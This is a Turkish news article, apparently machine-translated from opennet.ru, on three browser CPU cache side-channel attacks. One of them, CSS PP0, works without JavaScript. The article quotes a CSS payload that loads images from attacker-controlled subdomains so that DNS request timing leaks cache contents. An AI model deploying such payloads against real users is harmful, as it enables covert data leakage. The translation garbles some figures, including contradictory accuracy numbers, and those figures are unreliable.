JavaScript olmadan bir web tarayıcısında uygulanan CPU önbellek çıkarma saldırısı

Birkaç Amerikan, İsrail ve Avustralya üniversitesinden araştırmacılardan oluşan bir ekip, işlemci önbelleğinin içeriği hakkında bilgi almak için web tarayıcılarında çalışan üç saldırı geliştirdi. Yöntemlerden biri, JavaScript bulunmayan tarayıcılarda çalışır ve diğer ikisi, Tor tarayıcısı ve DeterFox'ta kullanılanlar da dahil olmak üzere, yan kanal saldırılarına karşı mevcut koruma yöntemlerini atlar. Saldırıları gösteren kod ve saldırılar için gerekli sunucu bileşenleri GitHub'da yayınlanıyor.

Önbellek içeriğini analiz etmek için tüm saldırılar, önbelleği standart bir değer kümesiyle doldurmayı ve bunları yeniden doldururken erişim süresini ölçerek değişiklikleri tespit etmeyi içeren Prime+Probe yöntemini kullanır. Tarayıcılarda bulunan ve doğru zaman ölçümüne müdahale eden güvenlik mekanizmalarını atlatmak için iki seçenekle, saldırgan tarafından kontrol edilen ve alınan isteklerin zamanının kaydını tutan bir DNS veya WebSocket sunucusuna başvurulur. Bir düzenekte sabit bir DNS yanıt süresi, zaman referansı olarak kullanılır.

Makine öğrenimine dayalı bir sınıflandırma sistemi kullanılarak harici DNS veya WebSocket sunucuları kullanılarak yapılan ölçümler, en optimum senaryoda (ortalama %98-80) %90'e varan doğrulukla değerleri tahmin etmek için yeterliydi. Saldırı yöntemleri çeşitli donanım platformlarında (Intel, AMD Ryzen, Apple M1, Samsung Exynos) test edilmiş ve evrensel olduğu kanıtlanmıştır.

JavaScript olmadan bir web tarayıcısında uygulanan CPU önbellek çıkarma saldırısı

DNS Racing saldırısının ilk çeşidi, JavaScript dizilerini kullanan Prime+Probe yönteminin klasik bir uygulamasını kullanıyor. Farklılıklar, harici bir DNS tabanlı zamanlayıcının ve var olmayan bir etki alanından bir görüntü yüklenmeye çalışıldığında tetiklenen bir hata durum işleyicisinin kullanılmasından kaynaklanmaktadır. Harici bir zamanlayıcı, JavaScript zamanlayıcılarına erişimi sınırlayan veya tamamen devre dışı bırakan tarayıcılara Prime+Probe saldırısına izin verir.

Aynı Ethernet ağında bulunan bir DNS sunucusu için, zamanlayıcının doğruluğunun yaklaşık 2 ms olduğu tahmin edilmektedir; bu, bir yan kanal saldırısı gerçekleştirmek için yeterlidir (karşılaştırma için, Tor Tarayıcı'daki standart JavaScript zamanlayıcının doğruluğu şu şekildedir: 100 ms'ye düşürüldü). Saldırı için, DNS sunucusu üzerinde kontrol gerekli değildir, çünkü işlemin yürütme süresi, DNS'den gelen yanıt süresi, kontrolün daha erken tamamlandığının bir işareti olarak hizmet edecek şekilde seçilir (hata eylemcisinin tetiklenip tetiklenmediğine bağlı olarak). er ya da geç, önbellekle yapılan kontrol işleminin hızı hakkında bir sonuca varılır) .

İkinci saldırı yöntemi olan "String and Sock", JavaScript'te dizilerin düşük düzeyli kullanımını kısıtlayan güvenlik tekniklerini atlamayı amaçlamaktadır. String ve Sock, diziler yerine çok büyük dizelerdeki işlemleri kullanır; bu dizelerin boyutu, değişken LLC önbelleğinin tamamını (Son düzey önbellek) kapsayacak şekilde seçilir. Daha sonra, indexOf() işlevi kullanılarak dizede, başlangıçta kaynak dizede bulunmayan küçük bir alt dize aranır; arama işlemi tüm dizenin yinelenmesiyle sonuçlanır. Satır boyutu LLC önbelleğinin boyutuna karşılık geldiğinden, tarama, dizileri değiştirmeden bir önbellek kontrol işlemi gerçekleştirmenize olanak tanır. Gecikmeleri ölçmek için DNS yerine saldırgan tarafından kontrol edilen bir WebSocket sunucusuna çağrı yapılır - arama işlemi tamamlanmadan önce ve sonra, sunucunun önbelleği analiz etmek için kullanılan gecikmeyi hesapladığı satıra sorgular gönderilir. içindekiler.

“CSS PP0” saldırısının üçüncü çeşidi, HTML ve CSS aracılığıyla uygulanır ve JavaScript devre dışı olan tarayıcılarda çalışabilir. Yöntem "String and Sock" yöntemine benzer ancak JavaScript'e bağlı değildir. Saldırı sırasında maskeye göre arama yapan bir dizi CSS seçici oluşturulur. Önbelleği dolduran ilk büyük dize, çok büyük bir sınıf adına sahip bir div etiketi oluşturularak ayarlanır. İçeride kendi tanımlayıcılarına sahip bir dizi başka div var. Bu iç içe geçmiş div'lerin her birinin, bir alt dizeyi arayan bir seçiciyle kendi stili vardır. Bir sayfayı oluştururken, tarayıcı ilk önce iç div'leri işlemeye çalışır, bu da büyük bir satırda arama işlemiyle sonuçlanır. Arama, kasıtlı olarak eksik bir maske kullanılarak gerçekleştirilir ve tüm satırın yinelenmesine yol açar, ardından "değil" koşulu tetiklenir ve rastgele alanlara referans veren bir arka plan görüntüsü yüklenmeye çalışılır: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Alt alan adlarına, saldırganın isteklerin alınmasındaki gecikmeleri ölçebilen DNS sunucusu tarafından hizmet verilir. DNS sunucusu tüm istekler için NXDOMAIN'i yayınlar ve isteklerin tam zamanının kaydını tutar. Bir dizi div'in işlenmesinin bir sonucu olarak, saldırganın DNS sunucusu bir dizi istek alır; aralarındaki gecikmeler, önbellek içeriklerinin kontrol edilmesinin sonucuyla ilişkilidir.

JavaScript olmadan bir web tarayıcısında uygulanan CPU önbellek çıkarma saldırısı


Kaynak: opennet.ru

Yorum ekle